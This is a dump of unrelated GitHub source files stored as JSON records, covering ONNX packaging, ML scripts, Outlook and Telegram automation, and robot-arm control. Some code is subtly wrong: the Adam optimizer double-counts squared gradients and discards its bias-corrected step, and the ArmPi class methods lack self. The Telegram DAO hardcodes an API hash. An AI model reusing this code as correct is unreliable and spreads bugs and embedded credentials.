Path(__file__).parent\nlong_description = (this_directory / \"README.md\").read_text()\n\nsetuptools.setup(\n name=os.getenv(\"ONNXSIM_PKG_NAME\", \"onnxsim\"),\n version=VersionInfo.version,\n description='Simplify your ONNX model',\n ext_modules=ext_modules,\n cmdclass=cmdclass,\n packages=packages,\n license='Apache License v2.0',\n include_package_data=True,\n install_requires=install_requires,\n setup_requires=setup_requires,\n author='ONNX Simplifier Authors',\n author_email='daquexian566@gmail.com',\n url='https://github.com/daquexian/onnx-simplifier',\n keywords='deep-learning ONNX',\n long_description=long_description,\n long_description_content_type='text/markdown',\n classifiers=[\n 'Development Status :: 4 - Beta',\n 'Intended Audience :: Developers',\n 'License :: OSI Approved :: Apache Software License',\n 'Programming Language :: Python :: 3 :: Only',\n 'Programming Language :: Python :: 3.7',\n 'Programming Language :: Python :: 3.8',\n 'Programming Language :: Python :: 3.9',\n 'Programming Language :: Python :: 3.10',\n 'Programming Language :: Python :: 3.11',\n 'Topic :: Scientific/Engineering',\n 'Topic :: Software Development'\n ],\n python_requires='>=3.7',\n entry_points={\n 'console_scripts': [\n 'onnxsim=onnxsim:main',\n ],\n },\n)\n","repo_name":"daquexian/onnx-simplifier","sub_path":"setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":11100,"program_lang":"python","lang":"en","doc_type":"code","stars":3299,"dataset":"github-code","pt":"31"} +{"seq_id":"34851172526","text":"# -*- coding: utf-8 -*-\r\n\"\"\"\r\nCreated on Sun Nov 24 16:39:20 2019\r\n\r\n@author: dell\r\n\"\"\"\r\n\r\nimport numpy as np\r\nimport matplotlib.pyplot as plt\r\nfrom sklearn import svm\r\nfrom mpl_toolkits.mplot3d import Axes3D\r\nfrom sklearn.decomposition import PCA\r\nfrom sklearn.preprocessing import StandardScaler\r\nimport pandas as pd\r\nfrom sklearn.datasets import load_digits\r\nfrom sklearn.decomposition import KernelPCA\r\nfrom sklearn.manifold import LocallyLinearEmbedding\r\n\r\nprint(\"Question 2.1------------------------------\")\r\n\r\ndata = np.loadtxt('HW10_dat.csv',skiprows = 1,dtype = 'float',delimiter = ',')\r\ncolor = np.loadtxt('HW10_color.csv',skiprows = 0,dtype = 'float',delimiter = ',')\r\n\r\n\r\nfig = plt.figure(figsize=(15,40))\r\nax = fig.add_subplot(311, projection='3d')\r\nax.set_xlabel('x',fontsize = 15)\r\nax.set_ylabel('y',fontsize = 15)\r\nax.set_zlabel('z',fontsize = 15)\r\nax.scatter(data[:,0],data[:,1], data[:,2], c=color, cmap=plt.cm.Spectral)\r\nplt.show()\r\n\r\nprint(\"Question 2.2------------------------------\")\r\n\r\ndf = pd.read_csv('HW10_dat.csv')\r\nfeatures = ['x', 'y', 'z']\r\nx = df.loc[:, features].values\r\n# Separating out the target\r\n# Standardizing the features\r\nx = StandardScaler().fit_transform(x)\r\n\r\n\r\npca = PCA(n_components=2)\r\nprincipalComponents = pca.fit_transform(x)\r\nprincipalDf = pd.DataFrame(data = principalComponents\r\n , columns = ['principal component 1', 'principal component 2'])\r\n\r\n\r\nfig = plt.figure(figsize = (15,30))\r\nax = fig.add_subplot(312) \r\nax.set_xlabel('Principal Component 1', fontsize = 15)\r\nax.set_ylabel('Principal Component 2', fontsize = 15)\r\nax.set_title('2 component PCA', fontsize = 20)\r\n\r\nfinalDf = pd.concat([principalDf], axis = 1)\r\nax.scatter(finalDf['principal component 1']\r\n , finalDf['principal component 2']\r\n , c = color\r\n , s = 50)\r\nplt.show()\r\nprint(\"------------------------------\")\r\n\r\ntransformer = PCA(n_components=2)\r\nx_transformed = transformer.fit_transform(data)\r\nfig = plt.figure(figsize = (10,10))\r\nplt.scatter(x_transformed[:,0],x_transformed[:,1],c = color)\r\nplt.xlabel('Principal Component 1', fontsize = 15)\r\nplt.ylabel('Principal Component 2', fontsize = 15)\r\nplt.show()\r\n\r\nprint(\"Question 2.3------------------------------\")\r\n\r\ntransformer = KernelPCA(n_components=2, kernel = 'poly')\r\nx_transformed = transformer.fit_transform(data)\r\nprint(x_transformed.shape)\r\nfig = plt.figure(figsize = (10,10))\r\nplt.scatter(x_transformed[:,0],x_transformed[:,1],c = color)\r\nplt.xlabel('Principal Component 1', fontsize = 15)\r\nplt.ylabel('Principal Component 2', fontsize = 15)\r\nplt.show()\r\n\r\n\r\nprint(\"Question 2.4------------------------------\")\r\n\r\ntransformer = LocallyLinearEmbedding(n_components=2, n_neighbors=12)\r\nx_transformed = transformer.fit_transform(data)\r\nfig = plt.figure(figsize = (10,10))\r\nplt.scatter(x_transformed[:,0],x_transformed[:,1],c = color)\r\nplt.xlabel('Principal Component 1', fontsize = 15)\r\nplt.ylabel('Principal Component 2', fontsize = 15)\r\nplt.show()\r\n\r\n\r\n\r\n\r\n\r\n\r\n","repo_name":"Frank-102/ML_Python_inMSU","sub_path":"pca_visualization.py","file_name":"pca_visualization.py","file_ext":"py","file_size_in_byte":3000,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"14435342378","text":"import numpy as np\n\nfrom src.utils import grad_f_estimate, line_search\n\n\ndef adam_optimizer(f, x0, max_iters=1000,\n grad=None, delta1=1e-6, delta2=1e-6,\n display=False, **kwargs):\n x_k = x0\n fx_ls = []\n\n if not grad:\n grad = lambda inp: grad_f_estimate(f, inp)\n\n s = 0\n r = 0\n\n rho1 = 0.9\n rho2 = 0.999\n delta = 1e-8\n\n for k in range(max_iters):\n fx_ls.append(f(x_k))\n\n g = grad(x_k)\n\n s = rho1 * s + (1 - rho1) * g\n r = rho2 * r + (1 - rho2) * g ** 2\n\n r = r + g ** 2\n\n s_ = s / (1 - rho1 ** (k + 1))\n r_ = r / (1 - rho2 ** (k + 1))\n\n if display:\n print(f\"x_k: {x_k}, \\nfunction: {f(x_k)}, \\ngrad: {g}\\n\")\n\n p_k = - s_ / (np.sqrt(r_) + delta)\n p_k = - g / (np.sqrt(r) + delta)\n\n alpha_k = line_search(x_k, p_k, f, grad)\n x_k_next = x_k + alpha_k * p_k\n\n if (np.linalg.norm(x_k_next - x_k) < delta1) or (np.linalg.norm(f(x_k_next) - f(x_k)) < delta2):\n break\n\n x_k = x_k_next\n\n return k, x_k, f(x_k), fx_ls\n","repo_name":"thapa-jeevan/Optimization","sub_path":"src/optimizers/adam_optimizer.py","file_name":"adam_optimizer.py","file_ext":"py","file_size_in_byte":1104,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"31"} +{"seq_id":"37577503750","text":"import re\nimport pytz\nfrom datetime import datetime, timedelta\nfrom bs4 import BeautifulSoup as bs\n\nfrom O365 import Account, FileSystemTokenBackend\n\nimport utils\n\nDEFAULT_TZONE = pytz.timezone('Pacific/Auckland')\n\n\ndef get_account(scopes):\n config = utils.read_config()\n \n credentials = (config['o365']['client_id'], config['o365']['client_secret'])\n # replace FileSystemTokenBackend with FirestoreBackend ??\n token_backend = FileSystemTokenBackend(token_filename='o365_token.txt')\n account = Account(credentials, token_backend=token_backend)\n \n if not account.is_authenticated:\n account.authenticate(scopes=scopes)\n # else:\n # # is this doing anything?\n # con = Connection(credentials, scopes=scopes)\n # con.refresh_token()\n return account\n\n\ndef get_covid_calendar():\n account = get_account(['basic', 'calendar_shared_all'])\n schedule = account.schedule()\n calendar = schedule.get_calendar(calendar_name='COVID Release Calendar')\n return calendar\n\n\ndef get_next_info(calendar, days, tzone=DEFAULT_TZONE):\n \"\"\"\n \n tzone - this must be an instance of a tzinfo subclass\n Return (some) information about the calendar events in the next {days} days,\n ordered by expected release-datetime.\n \"\"\"\n if not isinstance(days, int) or days < 1:\n raise ValueError(\"{days} should be positive integer\")\n \n current_date = datetime.now(tzone).date()\n q = calendar.new_query('start').greater(current_date - timedelta(days=1))\n q.chain('and').on_attribute('end') \\\n .less(current_date + timedelta(days=days + 1))\n next_responses = calendar.get_events(query=q, include_recurring=True)\n \n next_info = []\n for r in next_responses:\n files_re = re.finditer(r'files:(.*)\\n', r.body, flags=re.I)\n url_re = re.search(r'url:(.*)\\n', r.body, flags=re.I)\n if url_re:\n url = bs(url_re.group(1), 'html.parser').find('a').get('href')\n scripts_re = re.search(r'script:(.*)', r.body, flags=re.I)\n if scripts_re:\n scripts = bs(scripts_re.group(1), 'html.parser').get_text().strip()\n next_info.append({\n 'ical_uid': r.ical_uid,\n 'title': r.subject,\n 'release_dt': r.start.astimezone(tzone).isoformat(),\n 'files': [file.group(1).strip() for file in files_re],\n 'url': url if url_re else None,\n 'script': scripts if scripts_re else None\n })\n \n next_info_sorted = sorted(next_info, key=lambda k: k['release_dt'])\n return next_info_sorted\n\n\ndef move_event(calendar, ical_uid, days=0, hours=0, minutes=0):\n \"\"\"\n Move event by number of days+hours+minutes - positive values will move event\n forwards, negative backwards.\n \"\"\"\n tchange = timedelta(days=days, hours=hours, minutes=minutes)\n q = calendar.new_query('ical_uid').equals(ical_uid)\n event = list(calendar.get_events(query=q))[0]\n event.start = event.start + tchange\n event.end = event.end + tchange\n event.save()\n \n \ndef cancel_event(calendar, ical_uid, tzone=DEFAULT_TZONE):\n \"\"\"\n Cancels event in Outlook calendar on current date (if it exists)\n\n tzone - this must be an instance of a tzinfo subclass\n\n Recurring events share the same `ical_uid` across each date, so removing\n these events requires specifying lower/upper dates to delete between. This\n function will only delete a single occurence, not the series of events.\n (NB: Recurring events is why this only deletes events on the current date.)\n \"\"\"\n current_date = datetime.now(tzone).date()\n q = calendar.new_query('ical_uid').equals(ical_uid)\n q.chain('and').on_attribute('start') \\\n .greater(current_date - timedelta(days=1))\n q.chain('and').on_attribute('end') \\\n .less(current_date + timedelta(days=1))\n\n events = list(calendar.get_events(query=q))\n if len(events) > 1:\n err_msg = (\"This function is for deleting a single event at a time. \"\n \"There is multiple events with the same `ical_uid` today.\")\n raise NotImplementedError(err_msg)\n elif len(events) == 1:\n e = events[0]\n e.cancel_event()\n e.save()\n # else: no event to delete\n\n\ndef email_alert(message, subject=\"\"):\n config = utils.read_config()\n account = get_account(['basic', 'message_all'])\n mailbox = account.mailbox()\n \n m = mailbox.new_message()\n m.to.add(config['alert_email_addresses'])\n m.subject = \"Alert!! from automation\"\n if subject:\n m.subject += f\"- {subject}\"\n m.body = message\n m.send()\n","repo_name":"xaviermiles/automation","sub_path":"data_releases/outlook.py","file_name":"outlook.py","file_ext":"py","file_size_in_byte":4645,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"29303268105","text":"# -*- coding: utf-8 -*-\nfrom __future__ import unicode_literals\n\nfrom django.db import models, migrations\n\n\nclass Migration(migrations.Migration):\n\n dependencies = [\n ('quickstart', '0001_initial'),\n ]\n\n operations = [\n migrations.CreateModel(\n name='Cigar',\n fields=[\n ('id', models.AutoField(verbose_name='ID', serialize=False, auto_created=True, primary_key=True)),\n ('name', models.CharField(help_text=b'Cigar Name', max_length=25)),\n ('colour', models.CharField(default=b'Brown', max_length=30)),\n ('form', models.CharField(default=b'parejo', max_length=20, choices=[(b'parejo', b'Parejo'), (b'torpedo', b'Torpedo'), (b'pyramid', b'Pyramid'), (b'perfecto', b'Perfecto'), (b'presidente', b'Presidente')])),\n ('gauge', models.IntegerField()),\n ('length', models.IntegerField()),\n ('price', models.DecimalField(max_digits=5, decimal_places=2)),\n ('notes', models.TextField()),\n ],\n ),\n migrations.AlterField(\n model_name='adarea',\n name='code',\n field=models.CharField(help_text=b'\\xe4\\xbb\\xa3\\xe7\\xa0\\x81', unique=True, max_length=20),\n ),\n migrations.AlterField(\n model_name='adarea',\n name='description',\n field=models.CharField(help_text=b'\\xe6\\x8f\\x8f\\xe8\\xbf\\xb0', max_length=200),\n ),\n migrations.AlterField(\n model_name='adarea',\n name='status',\n field=models.IntegerField(default=0, help_text=b'\\xe7\\x8a\\xb6\\xe6\\x80\\x81', choices=[(1, b'\\xe6\\x9c\\x89\\xe6\\x95\\x88'), (0, b'\\xe6\\x97\\xa0\\xe6\\x95\\x88')]),\n ),\n migrations.AlterField(\n model_name='adarea',\n name='title',\n field=models.CharField(help_text=b'\\xe6\\xa0\\x87\\xe9\\xa2\\x98', max_length=100),\n ),\n ]\n","repo_name":"hisoinfo/jcwy","sub_path":"jcwy/quickstart/migrations/0002_auto_20150919_0748.py","file_name":"0002_auto_20150919_0748.py","file_ext":"py","file_size_in_byte":1938,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"21716720459","text":"from __future__ import absolute_import\n\nimport json\n\nimport pytest\n\n\nfrom orchestrator import InventoryDevice, ReadCompletion, raise_if_exception, RGWSpec\n\ndef test_inventory_device():\n i_d = InventoryDevice()\n s = i_d.pretty_print()\n assert len(s)\n\n\ndef test_raise():\n c = ReadCompletion()\n c.exception = ZeroDivisionError()\n with pytest.raises(ZeroDivisionError):\n raise_if_exception(c)\n\n\ndef test_rgwspec():\n \"\"\"\n {\n \"rgw_zone\": \"zonename\",\n \"rgw_frontend_port\": 8080,\n \"rgw_zonegroup\": \"group\",\n \"rgw_zone_user\": \"user\",\n \"rgw_realm\": \"realm\",\n \"count\": 3\n }\n \"\"\"\n example = json.loads(test_rgwspec.__doc__.strip())\n spec = RGWSpec.from_json(example)\n assert spec.validate_add() is None\n","repo_name":"vestigegroup/ceph","sub_path":"src/pybind/mgr/orchestrator_cli/test_orchestrator.py","file_name":"test_orchestrator.py","file_ext":"py","file_size_in_byte":779,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"31"} +{"seq_id":"45628827166","text":"# !/usr/bin/env python\n# -*- coding:utf-8 -*-\nfrom dao.base_dao import BaseDao\n\nfrom model.task_msg import TaskMsg\nfrom model.task import Task\nfrom model.user_account import UserAccount\nfrom model.user import User\n\nfrom dao.task_dao import TaskDao\n\nfrom tools.redis_con import RedisCon\nfrom tools.passwd import checkPasswd\nfrom tools.help import md5, getGuid\nfrom job.job_rq import JobRq\nimport random\nimport json\n\n\nclass UserDao(BaseDao):\n taskId = None\n msgId = None\n userId = None\n __task = None\n __msg = None\n __ua = None\n __user = None\n\n def __init__(self, taskId=None, msgId=None, userId=None):\n self.taskId = taskId\n self.msgId = msgId\n self.userId = userId\n\n def login(self, email=None, passwd=None, remote_addr=None, ruser=None):\n # 新建队列名为rq\n # ruser = RedisCon('user')\n u = User(email=email)\n d = u.byEmailDetails()\n if d == False:\n return False\n\n oldPasswd = passwd + str(d[\"password_random\"])\n is_check = checkPasswd(d[\"password\"], oldPasswd)\n\n if is_check == True:\n tokenStr = getGuid()\n setNumTop = random.randrange(0, 101, 20)\n tokenStr = str(tokenStr) + str(setNumTop)\n token = md5(tokenStr)\n\n if d[\"login_count\"] != None:\n icount = d[\"login_count\"]\n else:\n icount = 1\n\n login_count = int(icount) + 1\n last_ip = remote_addr\n user = User(guid=d[\"guid\"], token=token, last_ip=last_ip, login_count=login_count)\n if user.upLoginToken() == None:\n ua = UserAccount(user_id=d['guid'])\n tgCount = ua.byUserIdTgCount()\n task = Task(user_id=d['guid'])\n taskCount = task.byUserIdTaskCount()\n\n loginData = {}\n loginData[\"user_id\"] = d[\"guid\"]\n loginData[\"token\"] = token\n loginData[\"role\"] = d[\"role_use\"]\n loginData[\"tgCount\"] = tgCount\n loginData[\"taskCount\"] = taskCount\n if d[\"taskNumber\"] == None:\n loginData[\"taskNumber\"] = 0\n else:\n loginData[\"taskNumber\"] = d[\"taskNumber\"]\n\n if d[\"tgNumber\"] == None:\n loginData[\"tgNumber\"] = 0\n else:\n loginData[\"tgNumber\"] = d[\"tgNumber\"]\n\n if d[\"tgGroupNumber\"] == None:\n loginData[\"tgGroupNumber\"] = 0\n else:\n loginData[\"tgGroupNumber\"] = d[\"tgGroupNumber\"]\n\n loginData[\"tgStatus\"] = 1\n loginData[\"taskStatus\"] = 1\n\n if d[\"role_use\"] == 2:\n if tgCount >= loginData[\"tgNumber\"]:\n loginData[\"tgStatus\"] = 2\n\n if taskCount >= loginData[\"taskNumber\"]:\n loginData[\"taskStatus\"] = 2\n\n cacheData = json.dumps(loginData)\n ruser.setStr(name=token, data=cacheData)\n return loginData\n\n # 批量导入协议号\n def loadAddAcc(self, phone=None):\n proof = \"/session/\" + phone\n ua = UserAccount(user_id=self.userId, api_name=phone, api_id=4, api_hash=\"014b35b6184100b085b0d0572f9b5103\",\n phone=phone,\n username=phone, is_activation=2, is_group=1, is_new_group=1, mode=2, proof=proof)\n ua.insert()\n return True\n\n # 自动加入\n def joinGroup(self, tid=None,uid=None,groupLink=[]):\n job = JobRq(tid=tid,uid=uid)\n return job.joinGroup(groupLink=groupLink)\n\n\n\n def checkAccount(self, uid=None,):\n job = JobRq(uid=uid)\n return job.checkAccount()\n\n\n\n","repo_name":"x7c7v7i87/telegram-web-action","sub_path":"api/dao/user_dao.py","file_name":"user_dao.py","file_ext":"py","file_size_in_byte":3795,"program_lang":"python","lang":"en","doc_type":"code","stars":28,"dataset":"github-code","pt":"31"} +{"seq_id":"43594398831","text":"#\n# @lc app=leetcode id=876 lang=python3\n#\n# [876] Middle of the Linked List\n#\n\n# @lc code=start\n# Definition for singly-linked list.\n# class ListNode:\n# def __init__(self, val=0, next=None):\n# self.val = val\n# self.next = next\n\nclass Solution:\n def middleNode(self, head: Optional[ListNode]) -> Optional[ListNode]:\n l=1\n temp=head.next\n while temp!=None:\n head=head.next\n if temp.next!=None:\n temp=temp.next.next\n else:\n break\n return head\n\n\n# @lc code=end\n\n","repo_name":"Sumedhbhat/CompetitiveCoding","sub_path":"LeetCode/876.middle-of-the-linked-list.py","file_name":"876.middle-of-the-linked-list.py","file_ext":"py","file_size_in_byte":573,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"72155423449","text":"import re\nimport pandas as pd \nfrom time import time\nfrom collections import defaultdict\nfrom gensim.models.phrases import Phrases, Phraser\nfrom gensim.models import Word2Vec\n\nimport spacy\nimport logging\nimport sys \n\nlogging.basicConfig(stream=sys.stdout, format=\"%(levelname)s - %(asctime)s: %(message)s\", datefmt= '%H:%M:%S', level=logging.INFO)\n\nt = time()\n\nprint(\"reading data...\")\ndf = pd.read_csv('./data/simpsons_dataset.csv')\n\ndf.isnull().sum()\n\ndf = df.dropna().reset_index(drop=True)\ndf.isnull().sum()\n\n# Ensuring correct model is loaded in\nif spacy.util.is_package('en'):\n nlp = spacy.load('en', disable=['ner', 'parser'])\n\nelif spacy.util.is_package('en_core_web_sm'):\n nlp = spacy.load('en_core_web_sm', disable=['ner', 'parser'])\n\n\ndef cleaning(doc):\n # Begin lemmatization and removing stopwords\n txt = [token.lemma_ for token in doc if not token.is_stop]\n\n #Remove any sentence less than 2 words\n if len(txt) > 2:\n return ' '.join(txt)\n \n# Remove special char's\nquick_cleaning = (re.sub(\"[^A-Za-z']+\", ' ', str(row)).lower() for row in df['spoken_words'])\n\n\n# https://spacy.io/usage/spacy-101#pipelines\ntxt = [cleaning(doc) for doc in nlp.pipe(quick_cleaning, batch_size=5000, n_threads=-1)]\n\nprint('Time to clean: {} min'.format(round((time()- t)/60,2)))\n\ndf_clean = pd.DataFrame({'clean': txt})\ndf_clean = df_clean.dropna().drop_duplicates()\n\n\n# https://radimrehurek.com/gensim/models/phrases.html\n# Automatically detect common phrases – aka multi-word expressions, word n-gram collocations – from a stream of sentences.\nsent = [row.split() for row in df_clean['clean']]\n\nphrases = Phrases(sent, min_count=30, progress_per=10000)\n\nbigram = Phraser(phrases)\n\nsentences = bigram[sent]\n\nw2v_model = Word2Vec(min_count=20, window=2, size=300, sample=6e-5, alpha=0.03, min_alpha=0.0007, negative=20, workers=3)\n\nw2v_model.build_vocab(sentences, progress_per=10000)\n\nprint('Time to build vocab: {} mins'.format(round((time() - t) / 60, 2)))\n\nw2v_model.train(sentences, total_examples=w2v_model.corpus_count, epochs=30, report_delay=1)\n\nprint('Time to train the model: {} mins'.format(round((time() - t) / 60, 2)))\nw2v_model.wv.save_word2vec_format('./saved_models/model.bin', binary=True)\nw2v_model.init_sims(replace=True)\n\nvocab_len =len(w2v_model.wv.vocab)\nprint(f\"Vocabulary length: {vocab_len}\")\nprint(\"Checking 'homer'\")\nprint(w2v_model.wv.most_similar(positive=[\"homer\"]))\nprint(\"Checking 'donut\")\nprint(w2v_model.wv.most_similar(positive=[\"donut\"]))\nprint(\"Checking 'duff'\")\nprint(w2v_model.wv.most_similar(positive=[\"duff\"]))","repo_name":"ADP51/NovelGenerationNLP","sub_path":"word2vec.py","file_name":"word2vec.py","file_ext":"py","file_size_in_byte":2577,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"33721437175","text":"import sys\nimport os\n\n\nclass IslandsInWater():\n\n def __init__(self, file_name: str, island_matrix: list = []):\n self.file_name = file_name\n self.island_matrix = []\n\n def read_from_file(self) -> None:\n with open(self.file_name, 'r') as f:\n data = f.readlines() # reading into matrix\n for raw_line in data:\n split_line = raw_line.strip().split(\" \")\n nums_ls = [int(x) for x in split_line] #string conversion to integer\n self.island_matrix.append(nums_ls)\n\n def _dfs(self, row: int, col: int):\n self.island_matrix[row][\n col] = 0 #flipping 1 to 0 to confirm we have traversed the position\n bounding_conditions = [(row - 1, col), (row + 1, col), (row, col - 1),\n (row, col + 1), (row - 1, col - 1),\n (row - 1, col + 1), (row + 1, col + 1),\n (row + 1, col - 1)\n ] # covering the perimeter of a matrix element\n for bounding_row, bounding_col in bounding_conditions:\n if bounding_row >= 0 and bounding_col >= 0 and bounding_row < len(\n self.island_matrix) and bounding_col < len(\n self.island_matrix[row]\n ) and self.island_matrix[bounding_row][bounding_col] == 1:\n self._dfs(bounding_row, bounding_col)\n\n def count_number_of_islands(self) -> int:\n num_of_islands = 0\n for row in range(len(self.island_matrix)):\n for col in range(len(self.island_matrix[row])):\n if self.island_matrix[row][col] == 1:\n num_of_islands = num_of_islands + 1\n self._dfs(row, col)\n return num_of_islands\n\n\ndef main(args):\n if args is None:\n filename = \"islands.txt\"\n else:\n filename = args[0]\n islandsinwater = IslandsInWater(filename)\n islandsinwater.read_from_file()\n num_of_islands = islandsinwater.count_number_of_islands()\n print(num_of_islands)\n return num_of_islands #for unittesting purpose\n\n\nif __name__ == '__main__':\n main(sys.argv[1:])\n","repo_name":"rohetoric/IslandInWater","sub_path":"island_in_water.py","file_name":"island_in_water.py","file_ext":"py","file_size_in_byte":1970,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"9224209821","text":"from snorkel.labeling import LabelingFunction\n\n# Set voting values.\nABSTAIN = -1\nMOTION = 1\nNOT_MOTION = 0\n\nlf_set_keywords = []\n\n\ndef keyword_lookup(x, keywords, label):\n if any(word in x.text.lower() for word in keywords):\n return label\n return ABSTAIN\n\n\ndef make_keyword_lf(keywords, label=MOTION):\n return LabelingFunction(\n name=f\"keyword: {keywords[0]}\",\n f=keyword_lookup,\n resources=dict(keywords=keywords, label=label),\n )\n\n\n\"\"\"Motions contain 'motion of'.\"\"\"\nkeyword__of = make_keyword_lf(keywords=[\"motion of\"])\nlf_set_keywords.append(keyword__of)\n\n\"\"\"Motions contain 'motion to'.\"\"\"\nkeyword__motion_to = make_keyword_lf(keywords=[\"motion to\"])\nlf_set_keywords.append(keyword__motion_to)\n\n\"\"\"Motions contain 'motion by'.\"\"\"\nkeyword__motion_by = make_keyword_lf(keywords=[\"motion by\"])\nlf_set_keywords.append(keyword__motion_by)\n\n\"\"\"Motions contain 'motion (oral)'.\"\"\"\nkeyword__motion_oral = make_keyword_lf(keywords=[\"motion (oral)\"])\nlf_set_keywords.append(keyword__motion_oral)\n\n\"\"\"Motions contain 'joint motion'.\"\"\"\nkeyword__joint_motion = make_keyword_lf(keywords=[\"joint motion\"])\nlf_set_keywords.append(keyword__joint_motion)\n\n\"\"\"Notice of motions contain 'notice of motion'.\"\"\"\nkeyword__notice_of_motion = make_keyword_lf(keywords=[\"notice of motion\"], label=NOT_MOTION)\nlf_set_keywords.append(keyword__notice_of_motion)\n\n\"\"\"Notice of motions contain 'notice'.\"\"\"\nkeyword__notice = make_keyword_lf(keywords=[\"notice\"], label=NOT_MOTION)\nlf_set_keywords.append(keyword__notice)\n\n\"\"\"Judgements contain 'judgement'.\"\"\"\nkeyword__judgement = make_keyword_lf(keywords=[\"judgement\"], label=NOT_MOTION)\nlf_set_keywords.append(keyword__judgement)\n\n\"\"\"Denying a motion contains 'denying motion'.\"\"\"\nkeyword__denying_motion = make_keyword_lf(keywords=[\"denying motion\"], label=NOT_MOTION)\nlf_set_keywords.append(keyword__denying_motion)\n\n\"\"\"Final pretrial conference contains 'final pretrial conference'.\"\"\"\nkeyword__final_pretrial_conference = make_keyword_lf(keywords=[\"final pretrial conference\"], label=NOT_MOTION)\nlf_set_keywords.append(keyword__final_pretrial_conference)\n\n\"\"\"Documents refer to motions with 'regarding motion'\"\"\"\nkeyword__regarding_motion = make_keyword_lf(keywords=[\"regarding motion\"], label=NOT_MOTION)\nlf_set_keywords.append(keyword__regarding_motion)\n","repo_name":"simon-benigeri/machine-teaching-literature","sub_path":"motion classification/labeling_functions/keywords.py","file_name":"keywords.py","file_ext":"py","file_size_in_byte":2326,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"31"} +{"seq_id":"30960819379","text":"import pygame\nfrom grid_sizer import GridSizer\nfrom measurements import *\n\nclass TargetGridSizer(GridSizer):\n \"\"\" provides dimensions for drawing the target grid \"\"\"\n \n def __init__(self, surface, gameGrid):\n \"\"\" creates a game grid sizer \"\"\"\n surfaceWidth, surfaceHeight = surface.get_size()\n\n gridX = 0\n gridY = MENU_BAR_HEIGHT_RATIO * surfaceHeight\n gridWidth = TARGET_GRID_WIDTH_RATIO * surfaceWidth\n gridHeight = TARGET_GRID_HEIGHT_RATIO * surfaceHeight\n\n boundsRect = pygame.Rect(gridX, gridY, gridWidth, gridHeight)\n super(TargetGridSizer, self).__init__(gameGrid.rows, gameGrid.cols, boundsRect)\n \n\n","repo_name":"pinardemetci/Interactive_Programming","sub_path":"views/target_grid_sizer.py","file_name":"target_grid_sizer.py","file_ext":"py","file_size_in_byte":683,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"22566356961","text":"from math import pi, sin\n\nimport simpleaudio as sa\n\n# Config - Start\nSOUND_FILEPATH = \"rice_fields.wav\"\nPLAY_ORIGINAL = False\n# Config - End\n\nimport soundfile as sf\ndata, samplerate = sf.read(SOUND_FILEPATH)\nprint(len(data))\nprint(data[:10])\nprint(samplerate)\nexit(0)\n\nFILE_OUT = \"%s-out.txt\" % SOUND_FILEPATH\n\ndef yield_samples():\n with open(SOUND_FILEPATH, \"rb\") as fh:\n for line in fh:\n line = line.strip(b\"\\n\").strip(b\"\\r\")\n line = str(line, \"utf8\")\n l, r = line.split(\"\\t\")\n l, r = float(l), float(r)\n yield l, r\n\nDEST = open(FILE_OUT, \"wb\")\ndef send_out(sample):\n global DEST\n temp = \"%s\\t%s\\n\" % (sample, sample)\n DEST.write(temp.encode())\n\nprint(\"Starting...\")\n\ndelay = 15\nrange = 12\nsweep_freq = 0.3125\nfs = 44100\n\nahead = delay + range\n\narr = [0] * (ahead + 1)\nstart_playing = False\n\nit = 0\ncit = 0\nfor sample in yield_samples():\n sample = sample[0]\n if PLAY_ORIGINAL:\n send_out(sample_out)\n continue\n\n if start_playing:\n dx = cit + delay + round(range * sin(2*pi*cit*sweep_freq/fs));\n # print(\"playing:\", dx - cit)\n sample_out = arr[cit % ahead] + arr[dx % ahead]\n send_out(sample_out)\n cit = (cit + 1)\n\n arr[it] = sample\n it = (it + 1) % ahead;\n\n if start_playing or it == delay + 1:\n start_playing = True\n\nDEST.close()\n\nprint(\"Playing...\", end=\" \")\nwave_obj = sa.WaveObject.from_wave_file(FILE_OUT)\nplay_obj = wave_obj.play()\nplay_obj.wait_done()\nprint(\"done\")\n","repo_name":"rolzwy7/stack","sub_path":"Polsl/SMiW/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1522,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"7011275770","text":"#!/usr/bin/python3\n# coding=utf8\nimport sys\nsys.path.append('/home/pi/ArmPi/')\nimport time\nimport threading\nfrom LABConfig import *\nfrom ArmIK.Transform import *\nfrom ArmIK.ArmMoveIK import *\nimport HiwonderSDK.Board as Board\n\n\nAK = ArmIK()\nclass Motion(object):\n \n # the angle at which the clamper is closed when gripping\n servo1 = 500\n \n # app initialization\n def init():\n print(\"ColorTracking Init\")\n initMove()\n\n # initial position\n def initMove():\n Board.setBusServoPulse(1, servo1 - 50, 300)\n Board.setBusServoPulse(2, 500, 500)\n AK.setPitchRangeMoving((0, 10, 10), -30, -30, -90, 1500)\n\n def setBuzzer(timer):\n Board.setBuzzer(0)\n Board.setBuzzer(1)\n time.sleep(timer)\n Board.setBuzzer(0)\n\n # set the RGB light color of the expansion board to match the color to be tracked\n def set_rgb(color):\n if color == \"red\":\n Board.RGB.setPixelColor(0, Board.PixelColor(255, 0, 0))\n Board.RGB.setPixelColor(1, Board.PixelColor(255, 0, 0))\n Board.RGB.show()\n elif color == \"green\":\n Board.RGB.setPixelColor(0, Board.PixelColor(0, 255, 0))\n Board.RGB.setPixelColor(1, Board.PixelColor(0, 255, 0))\n Board.RGB.show()\n elif color == \"blue\":\n Board.RGB.setPixelColor(0, Board.PixelColor(0, 0, 255))\n Board.RGB.setPixelColor(1, Board.PixelColor(0, 0, 255))\n Board.RGB.show()\n else:\n Board.RGB.setPixelColor(0, Board.PixelColor(0, 0, 0))\n Board.RGB.setPixelColor(1, 